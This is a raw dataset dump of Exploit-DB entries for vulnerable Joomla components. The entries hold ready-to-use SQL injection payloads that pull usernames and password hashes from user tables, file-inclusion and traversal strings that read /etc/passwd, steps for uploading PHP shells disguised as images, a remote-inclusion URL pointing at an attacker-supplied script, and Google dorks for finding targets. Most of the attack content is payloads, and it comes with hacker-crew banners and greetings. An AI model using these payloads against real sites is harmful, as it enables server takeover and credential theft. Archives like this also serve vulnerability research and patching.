deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12432
Description: Joomla! Component com_jesectionfinder - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-28
Author: Sid3^effects

Exploit:
--------------------------------------------------------------------------------------
#####################Sid3^effects aKa HaRi##################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR
#ShouTZ:kedar,dec0d3r     
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
 
Description :
This component for web-based business that specialises in buying and selling sections nationwide. Our aim is easy to connect the seller of land directly to the buyer, its simple.
User can add your section/property into particular listing option. Listing option manages from the backend. User selects his plan (Listing option) and enters property detail (with images).  After use see that preview and make it payment.  If user makes it payment successfully than it display automating otherwise his listing not published.  

############################################################################

Xploit :  Upload Vulnerability

 
     The user can upload there evil script by changing the extension of your script to .jpg,.bmp,.gif in the list your section in the menu .

DEMO URL :
        
        http://server/propertyfinder/listing-your-section.html
 
     Once uploaded goto 
DEMO URL :     
        http://server/propertyfinder/components/com_jesectionfinder/assets/images/[evil script.php.bmp.php]

############################################################################

  
#Sid3^effects
Exploit-DB #32473
Description: Joomla! Component com_jeux - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-11
Author: H!tm@N

Exploit:
source: https://www.securityfocus.com/bid/31731/info

The 'com_jeux' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?id=[SQL]&option=com_jeux&act=view&Itemid=2

http://www.example.com/index.php?id=-1691+union+all+select+1,2,3,4,5,6,7,8,9,concat(username,char(58),password)KHG,11,12,13,14,15,16,17,18+from+jos_users--&option=com_jeux&act=view&Itemid=2
Exploit-DB #15353
Description: Joomla! Component com_jfuploader < 2.12 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-10-30
Author: Setr0nix

Exploit:
=========================================================================================================
[#]    Type    : Joomla Component com_jfuploader < 2.12 Remote File Upload
[#]    Author  : Setr0nix
[#]    Home    : www.Setr0nix.com
[#]    Contact : Admin@Setr0nix.com
=========================================================================================================

[#]    Exploit :
       1. Register 
	   2. http://127.0.0.1/index.php?option=com_jfuploader&Itemid=[Itemid]
	   3. Download One gif Image ( Example : http://www.google.com/images/logo.gif )
	   4. Open logo.gif In Notepad++ And Got to Last Line
	   5. Copy And Past You PHP Code After The Last Line ( Don't Delete Any Thing Of Image Code )
	   6. Save It , Ctrl + S
	   7. Rename logo.gif To logo.php.gif And Upload It From com_jfuploader
	   8. To Run Your Uploaded File Go To This Link : http://127.0.0.1/files/YourUsername/logo.php.gif
	   
=========================================================================================================
[#]    S T T   :
       All Iranian Hackers , Offensive Security , Inj3ct0r , SecurityReason
=========================================================================================================
Exploit-DB #14656
Description: Joomla! Component com_jgrid 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-08-16
Author: Salvatore Fresta

Exploit:
Jgrid 1.0 Joomla Component Local File Inclusion Vulnerability

 Name              Jgrid
 Vendor            http://datagrids.clubsareus.org
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-08-14

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

DATA GRID Component built on the popular EXTJS Framework.


II. DESCRIPTION
_______________

A parameter is not properly sanitised before being  used
by the require_once function.


III. ANALYSIS
_____________

Summary:

 A) Local File Inclusion
 

A) Local File Inclusion
_______________________

The  controller  parameter in jgrid.php is not  sanitised
before  being  used by the PHP function's require_once().
This allows a guest to include local files. The following
is the affected code:

if($controller = JRequest::getVar('controller')) {
	require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');
}


IV. SAMPLE CODE
_______________

A) Local File Inclusion

http://site/path/index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00


V. FIX
______

No fix.
Exploit-DB #34393
Description: Joomla! Component com_jigsaw - 'Controller' Directory Traversal
Type: webapps
Platform: php
Date: 2010-08-03
Author: FL0RiX

Exploit:
source: https://www.securityfocus.com/bid/42144/info

The 'com_jigsaw' component for Joomla! is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

http://www.example.com/index.php?option=com_jigsaw&controller=../../../../../../../etc/passwd%00
Exploit-DB #2203
Description: Joomla! Component com_jim 1.0.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-17
Author: Mehmet Ince

Exploit:
############################################################
############################################################
############# C Y B E R - W A R R I O R  T I M #############
############################################################
############################################################

#Mambo jim Component Remote Include Vulnerability

############################################################

#Author: XORON

############################################################

#Class: Remote

############################################################

#cont@ct: x0r0n[at]hotmail[dot]com

############################################################

#Code:  in install.jim.php , line 16

require_once($mosConfig_absolute_path."/components/com_jim/readme.txt");

############################################################

#Exploit:
http://www.site.com/[path]/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=http://evil_script?

############################################################

#Greetz: str0ke, Ironfist, Preddy, SHiKaA, sakkkure, x-mastER, DJR, DaRK, EntriKa, R3D4C!D, iNSoMNiA and all my friend

############################################################

# milw0rm.com [2006-08-17]
Exploit-DB #13799
Description: Joomla! Component com_jmarket - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-09
Author: Sid3^effects

Exploit:
       ============================================
        joomla com_jmarket SQLi Vulnerability
       ============================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Joomla com_jmarket SQLi Vulnerability
Date : june, 9 2010
Vendor url :http://ijoobi.com
Dork: inurl:com_jmarket
Platform: Windows
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members.

###############################################################################################################
Description:

Joomla com_jmarket from ijoobi suffers from sql injection vulnerability :).


###############################################################################################################

Xploit: SQLi Vulnerability

DEMO URL :

    http://server/index.php?option=com_jmarket&controller=product&task=[sqli]

###############################################################################################################
# 0day no more
# Sid3^effects
Exploit-DB #17338
Description: Joomla! Component com_jmsfileseller - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-05-28
Author: Valentin

Exploit:
# Exploit Title: Joomla Component com_jmsfileseller Local File Inclusion Vulnerability 
# Date: 28.05.2011
# Author: Valentin
# Category: webapps/0day
# Version: 1.0

# Tested on:
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component com_msfileseller Local File Inclusion Vulnerability 
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = JMS FileSeller
Vendor = Joommasters team
Vendor Website = http://joommasters.com/
Affected Version(s) = 1.0


[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> Local File Inclusion
URL: index.php?option=com_jmsfileseller&view=<LFI value>&cat_id=1&Itemid=27
Vulnerable parameters: view
Example: index.php?option=com_jmsfileseller&view=../../../etc/passwd%00&cat_id=12&Itemid=27


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 28.05.2011


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS, Todd and Josh from packetstormsecurity.org, exploit-db.com


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #13804
Description: Joomla! Component com_jnewsletter - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-09
Author: Sid3^effects

Exploit:
       ============================================
        joomla com_jnewsletter SQLi Vulnerability
       ============================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Joomla com_jnewsletter SQLi Vulnerability
Date : june, 9 2010
Vendor url :http://ijoobi.com
Dork: inurl:com_jnewsletter
Platform: Windows
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members.

###############################################################################################################
Description:

Joomla com_jnewsletter from ijoobi suffers from sql injection vulnerability :).


###############################################################################################################

Xploit: SQLi Vulnerability

DEMO URL :

    http://server/index.php?option=com_jstore&controller=product-display&task=[sqli]

###############################################################################################################
# 0day no more
# Sid3^effects
Exploit-DB #10356
Description: Joomla! Component com_job - 'showMoreUse' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-08
Author: Palyo34

Exploit:
/************************************************************************** 
  
[!] Joomla Component com_job ( showMoreUse) SQL injection vulnerability 
[!] Author  : Palyo34  
[!] Homepage: http://www.1923turk.biz
[!] Date    : 12 08, 2009  
  
**************************************************************************/ 
[+] Manas58
[+] Topunuzun a.q 
[+] aponun picleri 
[+] 
[+] 
[+] 7 KAHRAMAN &#64257;EH›D›M›Z› SAYGIYLA ANIYORUZ ALLAH RAHMET EYLES›N  

  

  
  
=========================================================================== 
  
 
  
http://server/index.php?option=com_job&task=showMoreUser&id=[SQL] 
  
[ Exploit ] 
  
index.php?option=com_job&task=showMoreUser&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(username,0x3a,password),17,18,19,20,21,22,23,24,25+from+kew_users--

[ Demo ]

http://www.site.com/index.php?option=com_job&task=showMoreUser&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(username,0x3a,password),17,18,19,20,21,22,23,24,25+from+kew_users--
  
  
===========================================================================
Exploit-DB #18192
Description: Joomla! Component com_jobprofile - SQL Injection
Type: webapps
Platform: php
Date: 2011-12-02
Author: kaMtiEz

Exploit:
[~] Joomla Component Jobprofile (com_jobprofile) SQL Injection Vulnerability
[~] Author : kaMtiEz (kamtiez@exploit-id.com)
[~] Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id
[~] Date : 2 Dec , 2011

[ Software Information ]

[+] Vendor : http://www.thakkertech.com/
[+] INFO : http://extensions.joomla.org/extensions/ads-a-affiliates/jobs-a-recruitment/11924
[+] Download : http://www.thakkertech.com/products/joomla-extensions/components/jobprofile-joomla-component-detail.html
[+] Version : null / 1.0 maybe :D
[+] Price : 25,00 
[+] Vulnerability : SQL INJECTION
[+] Dork : "think it :D"
[+] LOCATION :  INDONESIA -

[ Vulnerable File ]

 http://127.0.0.1/[kaMtiEz]/index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=[SQL]

[ XpL ]

 http://127.0.0.1/[kaMtiEz]/index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=-1+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9+from+jos_users--

[ FIX ]

 dunno :">
 
[ Thx TO ]

[+] INDONESIANCODER  EXPLOIT-ID  MAGELANGCYBER TEAM  MALANGCYBER CREW  KILL-9
[+] Tukulesto,arianom,el-farhatz,Jundab,ibl13Z,Ulow,s1do3L,Boebefa,Hmei7,RyanAby,AlbertWired,GonzHack,n4kuLa,t3ll0
[+] f4ckMen,By_aGreSiF,t0r3x,Mboys,Contrex,Gh4mb4S,jos_ali_joe,k4l0ng666,n4sss,r3m1ck,k4mpret0,Dr.Cruzz
[+] yur4kh4,xr0b0t,kido,trycyber,n4ck0,Caddy-Dz,pinpinbo,zaenal,gepenk ~ etc etc

[ NOTE ]

[+] let it be ..
[+] be yourself ;)

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..
Exploit-DB #13956
Description: Joomla! Component com_jomestate - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-06-21
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Joomla com_jomestate RFI Vulnerability 
Date : june, 21 2010
Critical Level 	: HIGH
Google DorK:inurl:com_jomestate
Vendor Url : http://www.opensourcetechnologies.com/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 

#######################################################################################################
Xploit: RFI Vulnerability 

DEMO URL 
   http://server/real_estate/index.php?option=com_jomestate&task=[ur evil script site]

###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #14434
Description: Joomla! Component com_jomtube - 'user_id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-07-22
Author: SixP4ck3r

Exploit:
===============================================================================
Joomla Component com_jomtube (user_id) Blind SQL Injection / SQL Injection
===============================================================================

Author          : SixP4ck3r
Email & msn     : SixP4ck3r@Bolivia.com
Date            : 17 July 2010
Critical Lvl    : High
Impact          : Exposure of sensitive information
Where           : From Remote
web		: http://foro.nbsecurity.net/
Credits		: Diablada and caporal is Bolivian!
Dork		: inurl:com_jomtube

---------------------------------------------------------------------------

[Sofware afected info]
Joomla Component (com_jomtube)
[Download]
http://www.jomtube.com/
[Afected versions]
All versions + 0 day

---------------------------------------------------------------------------

[Exploting..Bug..Demo..]
[insert valid user_id=n]

http://example/index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9

,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+fr

om+jos_users--&option=com_jomtube

[Blind SQL Injection]
http://example/index.php?view=videos&type=member&user_id=62+and+1=1--&option=com_jomtube
http://example/index.php?view=videos&type=member&user_id=62+and+1=0--&option=com_jomtube
---------------------------------------------------------------------------

With R3gards,
SixP4ck3r from Bolivia
___eof____
Exploit-DB #10192
Description: Joomla! Component Com_Joomclip - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2009-11-21
Author: 599eme Man

Exploit:
_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________


# [+] Joomla Component Com_Joomclip (cat) SQL injection
#
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
#
#[------------------------------------------------------------------------------------]
#
# [+] SQL
# 
# 	http://server/index.php?option=com_joomclip&view=thumbs&cat=20%20union%20all%20select%201,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
# 
# [+] Blind
# 
#  	http://server/index.php?option=com_joomclip&view=thumbs&cat=20%20and%20substring%28@@version,1,1%29=4
# 
#[------------------------------------------------------------------------------------]
Exploit-DB #13922
Description: Joomla! Component com_joomdocs - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-18
Author: Sid3^effects

Exploit:
Date : june, 18 2010
Vendor url :http://www.axxis.gr/
Critical Level     : HIGH
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,gunslinger_
greetz to :All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
Super Messenger allows users of your community to send Private Messages to each other similar to the Facebook concept.
Super Messenger is a powerful PMS, which gives the ability to your users to send HTML messages, embed images, videos, and even flash movies 

to your messages!
Yet it is simple and easy-to-use, with an intuitive and user-friendly interface, based on the success-proven concept of Facebook's messaging.
It is a stand-alone application, but also integrates seamlessly with Community Builder, JomSocial, SuperGroups, SuperEvents, PUArcade, 

Fireboard, SimGallery, and Kunena.
Especially Community Builder users will benefit greatly from the thoughtful cb-login module, the CB Super Messenger tab, and the Connections 

messaging features.
When viewing a profile, users will be able to send a private message without the need to redirect to a new page!
SuperGroups users will be able to send private messages straight from the groups to other group members, and will love the additional 

features and functionality of Super Messenger, which will also display all group messages in the Inbox and Outbox, with the corresponding 

group name, linking back to the group's page!

#######################################################################################################
com_joomdocs suffers from persistent xss Vulnerability

Xploit:Persistent xss Vulnerability

Step 1 : As always register as a user :P

Step 2 : Goto your profile..you will able to see "What's on your mind PRO module:"
  
         INsert your evil XSS script or xss shell ;) and voila 

DEMO URL :http://[site]/index.php?option=com_content&view=frontpage&setLang=en-GB&Itemid=1

">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> is posted in the What's on your mind PRO module :)



###############################################################################################################
# 0day no more 
# Sid3^effects